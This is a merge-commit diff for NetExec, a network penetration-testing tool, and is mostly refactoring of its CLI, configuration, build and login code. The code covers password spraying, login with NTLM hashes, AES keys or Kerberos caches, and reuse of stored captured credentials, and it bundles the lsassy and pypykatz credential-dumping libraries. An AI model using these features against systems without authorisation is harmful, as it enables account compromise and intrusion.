Merge branch 'develop' into s4u

Signed-off-by: zblurx <68540460+zblurx@users.noreply.github.com>
main
zblurx 2023-11-01 19:18:25 +01:00 committed by GitHub
commit 4853942fee
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
166 changed files with 5180 additions and 6635 deletions

30
.github/workflows/lint.yml vendored Normal file
View File

@ -0,0 +1,30 @@
name: Lint Python code with ruff
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
on: [push, pull_request]
jobs:
lint:
name: Lint Python code with ruff
runs-on: ubuntu-latest
if:
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
steps:
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: 3.11
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
run: |
poetry install --with dev
- name: Run ruff
run: |
poetry run ruff --version
poetry run ruff check . --preview

View File

@ -9,13 +9,13 @@ jobs:
name: NetExec Tests for Py${{ matrix.python-version }}
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 4
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
steps:
- uses: actions/checkout@v3
- name: NetExec tests on ${{ matrix.os }}
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}

3
.gitignore vendored
View File

@ -57,9 +57,6 @@ coverage.xml
*.mo
*.pot
# Django stuff:
*.log
# Sphinx documentation
docs/_build/

0
.gitmodules vendored
View File

View File

@ -10,7 +10,7 @@
This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.
Along with many other contributers, we (NeffIsBack, Marshall-Hallenbeck, and zblurx) developed new features, bugfixes, and helped maintain the original project CrackMapExec.
Along with many other contributors, we (NeffIsBack, Marshall-Hallenbeck, and zblurx) developed new features, bug fixes, and helped maintain the original project CrackMapExec.
During this time, with both a private and public repository, community contributions were not easily merged into the project. The 6-8 month discrepancy between the code bases caused many development issues and heavily reduced community-driven development.
With the end of mpgn's maintainer role, we (the remaining most active contributors) decided to maintain the project together as a fully free and open source project under the new name **NetExec** 🚀
Going forward, our intent is to maintain a community-driven and maintained project with regular updates for everyone to use.

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import shutil
import subprocess
@ -11,27 +8,26 @@ from pathlib import Path
from shiv.bootstrap import Environment
# from distutils.ccompiler import new_compiler
from shiv.builder import create_archive
from shiv.cli import __version__ as VERSION
def build_nxc():
print("building nxc")
print("Building nxc")
try:
shutil.rmtree("bin")
shutil.rmtree("build")
except Exception as e:
except FileNotFoundError:
pass
except Exception as e:
print(f"Exception while removing bin & build: {e}")
try:
print("remove useless files")
os.mkdir("build")
os.mkdir("bin")
shutil.copytree("nxc", "build/nxc")
except Exception as e:
print(e)
print(f"Exception while creating bin and build directories: {e}")
return
subprocess.run(
@ -48,7 +44,6 @@ def build_nxc():
check=True,
)
# [shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")]
[shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")]
env = Environment(
@ -93,7 +88,7 @@ if __name__ == "__main__":
try:
build_nxc()
build_nxcdb()
except:
except FileNotFoundError:
pass
finally:
shutil.rmtree("build")

View File

@ -1,92 +0,0 @@
{
"nodes": {
"flake-utils": {
"locked": {
"lastModified": 1649676176,
"narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
"owner": "numtide",
"repo": "flake-utils",
"rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
"type": "github"
},
"original": {
"owner": "numtide",
"repo": "flake-utils",
"type": "github"
}
},
"flake-utils_2": {
"locked": {
"lastModified": 1649676176,
"narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
"owner": "numtide",
"repo": "flake-utils",
"rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
"type": "github"
},
"original": {
"owner": "numtide",
"repo": "flake-utils",
"type": "github"
}
},
"nixpkgs": {
"locked": {
"lastModified": 1651248272,
"narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "8758d58df0798db2b29484739ca7303220a739d3",
"type": "github"
},
"original": {
"owner": "NixOS",
"repo": "nixpkgs",
"type": "github"
}
},
"nixpkgs_2": {
"locked": {
"lastModified": 1651248272,
"narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "8758d58df0798db2b29484739ca7303220a739d3",
"type": "github"
},
"original": {
"owner": "NixOS",
"repo": "nixpkgs",
"type": "github"
}
},
"poetry2nix": {
"inputs": {
"flake-utils": "flake-utils_2",
"nixpkgs": "nixpkgs_2"
},
"locked": {
"lastModified": 1651165059,
"narHash": "sha256-/psJg8NsEa00bVVsXiRUM8yL/qfu05zPZ+jJzm7hRTo=",
"owner": "nix-community",
"repo": "poetry2nix",
"rev": "ece2a41612347a4fe537d8c0a25fe5d8254835bd",
"type": "github"
},
"original": {
"owner": "nix-community",
"repo": "poetry2nix",
"type": "github"
}
},
"root": {
"inputs": {
"flake-utils": "flake-utils",
"nixpkgs": "nixpkgs",
"poetry2nix": "poetry2nix"
}
}
},
"root": "root",
"version": 7
}

View File

@ -1,36 +0,0 @@
{
description = "Application packaged using poetry2nix";
inputs.flake-utils.url = "github:numtide/flake-utils";
inputs.nixpkgs.url = "github:NixOS/nixpkgs";
inputs.poetry2nix.url = "github:nix-community/poetry2nix";
outputs = { self, nixpkgs, flake-utils, poetry2nix }:
{
# Nixpkgs overlay providing the application
overlay = nixpkgs.lib.composeManyExtensions [
poetry2nix.overlay
(final: prev: {
# The application
NetExec = prev.poetry2nix.mkPoetryApplication {
projectDir = ./.;
};
})
];
} // (flake-utils.lib.eachDefaultSystem (system:
let
pkgs = import nixpkgs {
inherit system;
overlays = [ self.overlay ];
};
in
{
apps = {
NetExec = pkgs.NetExec;
};
defaultApp = pkgs.NetExec;
packages = { NetExec = pkgs.NetExec; };
}));
}

View File

@ -48,6 +48,7 @@ a = Analysis(
'lsassy.parser',
'lsassy.session',
'lsassy.impacketfile',
'bloodhound',
'dns',
'dns.name',
'dns.resolver',

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from PyInstaller.utils.hooks import collect_all
datas, binaries, hiddenimports = collect_all("lsassy")

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from PyInstaller.utils.hooks import collect_all
datas, binaries, hiddenimports = collect_all("pypykatz")

View File

@ -1,12 +1,8 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import sys
from argparse import RawTextHelpFormatter
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.helpers.logger import highlight
from termcolor import colored
from nxc.logger import nxc_logger
import importlib.metadata
@ -32,34 +28,12 @@ def gen_cli_args():
{highlight('Version', 'red')} : {highlight(VERSION)}
{highlight('Codename', 'red')}: {highlight(CODENAME)}
""",
formatter_class=RawTextHelpFormatter,
)
""", formatter_class=RawTextHelpFormatter)
parser.add_argument(
"-t",
type=int,
dest="threads",
default=100,
help="set how many concurrent threads to use (default: 100)",
)
parser.add_argument(
"--timeout",
default=None,
type=int,
help="max timeout in seconds of each thread (default: None)",
)
parser.add_argument(
"--jitter",
metavar="INTERVAL",
type=str,
help="sets a random delay between each connection (default: None)",
)
parser.add_argument(
"--no-progress",
action="store_true",
help="Not displaying progress bar during scan",
)
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display nxc version")
@ -68,132 +42,44 @@ def gen_cli_args():
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
module_parser.add_argument(
"-o",
metavar="MODULE_OPTION",
nargs="+",
default=[],
dest="module_options",
help="module options",
)
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
module_parser.add_argument(
"--options",
dest="show_module_options",
action="store_true",
help="display module options",
)
module_parser.add_argument(
"--server",
choices={"http", "https"},
default="https",
help="use the selected server (default: https)",
)
module_parser.add_argument(
"--server-host",
type=str,
default="0.0.0.0",
metavar="HOST",
help="IP to bind the server to (default: 0.0.0.0)",
)
module_parser.add_argument(
"--server-port",
metavar="PORT",
type=int,
help="start the server on the specified port",
)
module_parser.add_argument(
"--connectback-host",
type=str,
metavar="CHOST",
help="IP for the remote system to connect back to (default: same as server-host)",
)
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument(
"target",
nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*",
type=str,
help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)",
)
std_parser.add_argument(
"-id",
metavar="CRED_ID",
nargs="+",
default=[],
type=str,
dest="cred_id",
help="database credential ID(s) to use for authentication",
)
std_parser.add_argument(
"-u",
metavar="USERNAME",
dest="username",
nargs="+",
default=[],
help="username(s) or file(s) containing usernames",
)
std_parser.add_argument(
"-p",
metavar="PASSWORD",
dest="password",
nargs="+",
default=[],
help="password(s) or file(s) containing passwords",
)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
std_parser.add_argument(
"--use-kcache",
action="store_true",
help="Use Kerberos authentication from ccache file (KRB5CCNAME)",
)
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument(
"--aesKey",
metavar="AESKEY",
nargs="+",
help="AES key to use for Kerberos Authentication (128 or 256 bits)",
)
std_parser.add_argument(
"--kdcHost",
metavar="KDCHOST",
help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter",
)
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument(
"--gfail-limit",
metavar="LIMIT",
type=int,
help="max number of global failed login attempts",
)
fail_group.add_argument(
"--ufail-limit",
metavar="LIMIT",
type=int,
help="max number of failed login attempts per username",
)
fail_group.add_argument(
"--fail-limit",
metavar="LIMIT",
type=int,
help="max number of failed login attempts per host",
)
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols.keys():
try:
try:
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
except:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol}")
except Exception as e:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
if len(sys.argv) == 1:
parser.print_help()

View File

@ -1,8 +1,7 @@
# coding=utf-8
import os
from os.path import join as path_join
import configparser
from nxc.paths import nxc_PATH, DATA_PATH
from nxc.paths import NXC_PATH, DATA_PATH
from nxc.first_run import first_run_setup
from nxc.logger import nxc_logger
from ast import literal_eval
@ -11,11 +10,11 @@ nxc_default_config = configparser.ConfigParser()
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
nxc_config = configparser.ConfigParser()
nxc_config.read(os.path.join(nxc_PATH, "nxc.conf"))
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
if "nxc" not in nxc_config.sections():
first_run_setup()
nxc_config.read(os.path.join(nxc_PATH, "nxc.conf"))
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
# Check if there are any missing options in the config file
for section in nxc_default_config.sections():
@ -24,10 +23,10 @@ for section in nxc_default_config.sections():
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
nxc_config.set(section, option, nxc_default_config.get(section, option))
with open(path_join(nxc_PATH, "nxc.conf"), "w") as config_file:
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
nxc_config.write(config_file)
#!!! THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE !!!
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
nxc_workspace = nxc_config.get("nxc", "workspace", fallback="default")
pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
@ -45,4 +44,4 @@ if len(host_info_colors) != 4:
# this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
def process_secret(text):
hidden = text[:reveal_chars_of_pwd]
return text if not audit_mode else hidden+audit_mode * 8
return text if not audit_mode else hidden + audit_mode * 8

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import random
import socket
from socket import AF_INET, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME
@ -17,6 +14,7 @@ from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from impacket.dcerpc.v5 import transport
import sys
sem = BoundedSemaphore(1)
global_failed_logins = 0
@ -25,39 +23,41 @@ user_failed_logins = {}
def gethost_addrinfo(hostname):
try:
for res in getaddrinfo( hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
for res in getaddrinfo(hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, socktype, proto, canonname, sa = res
host = canonname if ip_address(sa[0]).is_link_local else sa[0]
except socket.gaierror:
for res in getaddrinfo( hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
for res in getaddrinfo(hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, socktype, proto, canonname, sa = res
host = sa[0] if sa[0] else canonname
return host
def requires_admin(func):
def _decorator(self, *args, **kwargs):
if self.admin_privs is False:
return
return None
return func(self, *args, **kwargs)
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding['wTowerId'] == 7:
if strBinding['aNetworkAddr'].find('[') >= 0:
binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[')
bindingPort = '[' + bindingPort
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding['aNetworkAddr']
bindingPort = ''
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1]
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition('.')[0]) >= 0:
stringBinding = 'ncacn_ip_tcp:%s%s' % (iInterface.get_target(), bindingPort)
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
@ -65,12 +65,14 @@ def dcom_FirewallChecker(iInterface, timeout):
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except:
except Exception as e:
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
class connection(object):
class connection:
def __init__(self, args, db, host):
self.domain = None
self.args = args
@ -80,7 +82,7 @@ class connection(object):
self.admin_privs = False
self.password = ""
self.username = ""
self.kerberos = True if self.args.kerberos or self.args.use_kcache or self.args.aesKey else False
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
@ -152,26 +154,46 @@ class connection(object):
return
def proto_flow(self):
self.logger.debug(f"Kicking off proto_flow")
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if self.create_conn_obj():
self.logger.debug("Created connection object")
self.enum_host_info()
if self.print_host_info():
# because of null session
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
if hasattr(self.args, "module") and self.args.module:
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
def call_cmd_args(self):
for k, v in vars(self.args).items():
if hasattr(self, k) and hasattr(getattr(self, k), "__call__"):
if v is not False and v is not None:
self.logger.debug(f"Calling {k}()")
r = getattr(self, k)()
"""Calls all the methods specified by the command line arguments
Iterates over the attributes of an object (self.args)
For each attribute, it checks if the object (self) has an attribute with the same name and if that attribute is callable (i.e., a function)
If both conditions are met and the attribute value is not False or None,
it calls the function and logs a debug message
Parameters
----------
self (object): The instance of the class.
Returns
-------
None
"""
for attr, value in vars(self.args).items():
if hasattr(self, attr) and callable(getattr(self, attr)) and value is not False and value is not None:
self.logger.debug(f"Calling {attr}()")
getattr(self, attr)()
def call_modules(self):
"""Calls modules and performs various actions based on the module's attributes.
It iterates over the modules specified in the command line arguments.
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
"""
for module in self.module:
self.logger.debug(f"Loading module {module.name} - {module}")
module_logger = NXCAdapter(
@ -208,7 +230,7 @@ class connection(object):
global global_failed_logins
global user_failed_logins
if username not in user_failed_logins.keys():
if username not in user_failed_logins:
user_failed_logins[username] = 0
user_failed_logins[username] += 1
@ -225,53 +247,54 @@ class connection(object):
if self.failed_logins == self.args.fail_limit:
return True
if username in user_failed_logins.keys():
if self.args.ufail_limit == user_failed_logins[username]:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
return True
return False
def query_db_creds(self):
"""
Queries the database for credentials to be used for authentication.
"""Queries the database for credentials to be used for authentication.
Valid cred_id values are:
- a single cred_id
- a range specified with a dash (ex. 1-5)
- 'all' to select all credentials
:return: domain[], username[], owned[], secret[], cred_type[]
:return: domains[], usernames[], owned[], secrets[], cred_types[]
"""
domain = []
username = []
domains = []
usernames = []
owned = []
secret = []
cred_type = []
secrets = []
cred_types = []
creds = [] # list of tuples (cred_id, domain, username, secret, cred_type, pillaged_from) coming from the database
data = [] # Arbitrary data needed for the login, e.g. ssh_key
for cred_id in self.args.cred_id:
if isinstance(cred_id, str) and cred_id.lower() == 'all':
if cred_id.lower() == "all":
creds = self.db.get_credentials()
else:
if not self.db.get_credentials(filter_term=int(cred_id)):
self.logger.error('Invalid database credential ID {}!'.format(cred_id))
self.logger.error(f"Invalid database credential ID {cred_id}!")
continue
creds.extend(self.db.get_credentials(filter_term=int(cred_id)))
for cred in creds:
c_id, domain_single, username_single, secret_single, cred_type_single, pillaged_from = cred
domain.append(domain_single)
username.append(username_single)
c_id, domain, username, secret, cred_type, pillaged_from = cred
domains.append(domain)
usernames.append(username)
owned.append(False) # As these are likely valid we still want to test them if they are specified in the command line
secret.append(secret_single)
cred_type.append(cred_type_single)
secrets.append(secret)
cred_types.append(cred_type)
if len(secret) != len(data): data = [None] * len(secret)
return domain, username, owned, secret, cred_type, data
if len(secrets) != len(data):
data = [None] * len(secrets)
return domains, usernames, owned, secrets, cred_types, data
def parse_credentials(self):
"""
Parse credentials from the command line or from a file specified.
r"""Parse credentials from the command line or from a file specified.
Usernames can be specified with a domain (domain\\username) or without (username).
If the file contains domain\\username the domain specified will be overwritten by the one in the file.
@ -286,7 +309,7 @@ class connection(object):
# Parse usernames
for user in self.args.username:
if isfile(user):
with open(user, 'r') as user_file:
with open(user) as user_file:
for line in user_file:
if "\\" in line:
domain_single, username_single = line.split("\\")
@ -310,42 +333,41 @@ class connection(object):
for password in self.args.password:
if isfile(password):
try:
with open(password, 'r', errors = ('ignore' if self.args.ignore_pw_decoding else 'strict')) as password_file:
with open(password, errors=("ignore" if self.args.ignore_pw_decoding else "strict")) as password_file:
for line in password_file:
secret.append(line.strip())
cred_type.append('plaintext')
cred_type.append("plaintext")
except UnicodeDecodeError as e:
self.logger.error(f"{type(e).__name__}: Could not decode password file. Make sure the file only contains UTF-8 characters.")
self.logger.error("You can ignore non UTF-8 characters with the option '--ignore-pw-decoding'")
exit(1)
sys.exit(1)
else:
secret.append(password)
cred_type.append('plaintext')
cred_type.append("plaintext")
# Parse NTLM-hashes
if hasattr(self.args, "hash") and self.args.hash:
for ntlm_hash in self.args.hash:
if isfile(ntlm_hash):
with open(ntlm_hash, 'r') as ntlm_hash_file:
with open(ntlm_hash) as ntlm_hash_file:
for line in ntlm_hash_file:
secret.append(line.strip())
cred_type.append('hash')
cred_type.append("hash")
else:
secret.append(ntlm_hash)
cred_type.append('hash')
cred_type.append("hash")
# Parse AES keys
if self.args.aesKey:
for aesKey in self.args.aesKey:
if isfile(aesKey):
with open(aesKey, 'r') as aesKey_file:
with open(aesKey) as aesKey_file:
for line in aesKey_file:
secret.append(line.strip())
cred_type.append('aesKey')
cred_type.append("aesKey")
else:
secret.append(aesKey)
cred_type.append('aesKey')
cred_type.append("aesKey")
# Allow trying multiple users with a single password
if len(username) > 1 and len(secret) == 1:
@ -356,8 +378,8 @@ class connection(object):
return domain, username, owned, secret, cred_type, [None] * len(secret)
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
"""
Try to login using the specified credentials and protocol.
"""Try to login using the specified credentials and protocol.
Possible login methods are:
- plaintext (/kerberos)
- NTLM-hash (/kerberos)
@ -368,31 +390,34 @@ class connection(object):
if self.args.continue_on_success and owned:
return False
# Enforcing FQDN for SMB if not using local authentication. Related issues/PRs: #26, #28, #24, #38
if self.args.protocol == 'smb' and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and not (self.domain.upper() == self.hostname.upper()) :
if self.args.protocol == "smb" and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and self.domain.upper() != self.hostname.upper():
self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain")
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
with sem:
if cred_type == 'plaintext':
if cred_type == "plaintext":
if self.args.kerberos:
return self.kerberos_login(domain, username, secret, '', '', self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocolls don't use domain for login
self.logger.debug("Trying to authenticate using Kerberos")
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
self.logger.debug("Trying to authenticate using plaintext with domain")
return self.plaintext_login(domain, username, secret)
elif self.args.protocol == 'ssh':
elif self.args.protocol == "ssh":
self.logger.debug("Trying to authenticate using plaintext over SSH")
return self.plaintext_login(username, secret, data)
else:
self.logger.debug("Trying to authenticate using plaintext")
return self.plaintext_login(username, secret)
elif cred_type == 'hash':
elif cred_type == "hash":
if self.args.kerberos:
return self.kerberos_login(domain, username, '', secret, '', self.kdcHost, False)
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
return self.hash_login(domain, username, secret)
elif cred_type == 'aesKey':
return self.kerberos_login(domain, username, '', '', secret, self.kdcHost, False)
elif cred_type == "aesKey":
return self.kerberos_login(domain, username, "", "", secret, self.kdcHost, False)
def login(self):
"""
Try to login using the credentials specified in the command line or in the database.
"""Try to login using the credentials specified in the command line or in the database.
:return: True if the login was successful and "--continue-on-success" was not specified, False otherwise.
"""
@ -424,6 +449,7 @@ class connection(object):
data.extend(parsed_data)
if self.args.use_kcache:
self.logger.debug("Trying to authenticate using Kerberos cache")
with sem:
username = self.args.username[0] if len(self.args.username) else ""
password = self.args.password[0] if len(self.args.password) else ""

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import configparser
import os
@ -18,4 +15,3 @@ class Context:
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
self.log = logger
# self.log.debug = logging.debug

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1,11 +1,8 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from os import mkdir
from os.path import exists
from os.path import join as path_join
import shutil
from nxc.paths import nxc_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
from nxc.nxcdb import initialize_db
from nxc.logger import nxc_logger
@ -14,10 +11,10 @@ def first_run_setup(logger=nxc_logger):
if not exists(TMP_PATH):
mkdir(TMP_PATH)
if not exists(nxc_PATH):
if not exists(NXC_PATH):
logger.display("First time use detected")
logger.display("Creating home directory structure")
mkdir(nxc_PATH)
mkdir(NXC_PATH)
folders = (
"logs",
@ -28,30 +25,17 @@ def first_run_setup(logger=nxc_logger):
"screenshots",
)
for folder in folders:
if not exists(path_join(nxc_PATH, folder)):
if not exists(path_join(NXC_PATH, folder)):
logger.display(f"Creating missing folder {folder}")
mkdir(path_join(nxc_PATH, folder))
mkdir(path_join(NXC_PATH, folder))
initialize_db(logger)
if not exists(CONFIG_PATH):
logger.display("Copying default configuration file")
default_path = path_join(DATA_PATH, "nxc.conf")
shutil.copy(default_path, nxc_PATH)
shutil.copy(default_path, NXC_PATH)
# if not exists(CERT_PATH):
# logger.display('Generating SSL certificate')
# try:
# check_output(['openssl', 'help'], stderr=PIPE)
# if os.name != 'nt':
# os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH))
# else:
# os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US"'.format(path=CERT_PATH))
# except OSError as e:
# if e.errno == errno.ENOENT:
# logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate')
# default_path = path_join(DATA_PATH, 'default.pem')
# shutil.copy(default_path, CERT_PATH)
# else:
# logger.error('Error while generating SSL certificate: {}'.format(e))
# sys.exit(1)

View File

@ -1,9 +1,7 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from nxc.paths import DATA_PATH
def get_script(path):
with open(os.path.join(DATA_PATH, path), "r") as script:
with open(os.path.join(DATA_PATH, path)) as script:
return script.read()

View File

@ -1,18 +1,33 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
def add_user_bh(user, domain, logger, config):
"""Adds a user to the BloodHound graph database.
Args:
----
user (str or list): The username of the user or a list of user dictionaries.
domain (str): The domain of the user.
logger (Logger): The logger object for logging messages.
config (ConfigParser): The configuration object for accessing BloodHound settings.
Returns:
-------
None
Raises:
------
AuthError: If the provided Neo4J credentials are not valid.
ServiceUnavailable: If Neo4J is not available on the specified URI.
Exception: If an unexpected error occurs with Neo4J.
"""
users_owned = []
if isinstance(user, str):
users_owned.append({"username": user.upper(), "domain": domain.upper()})
else:
users_owned = user
if config.get("BloodHound", "bh_enabled") != "False":
try:
from neo4j.v1 import GraphDatabase
except:
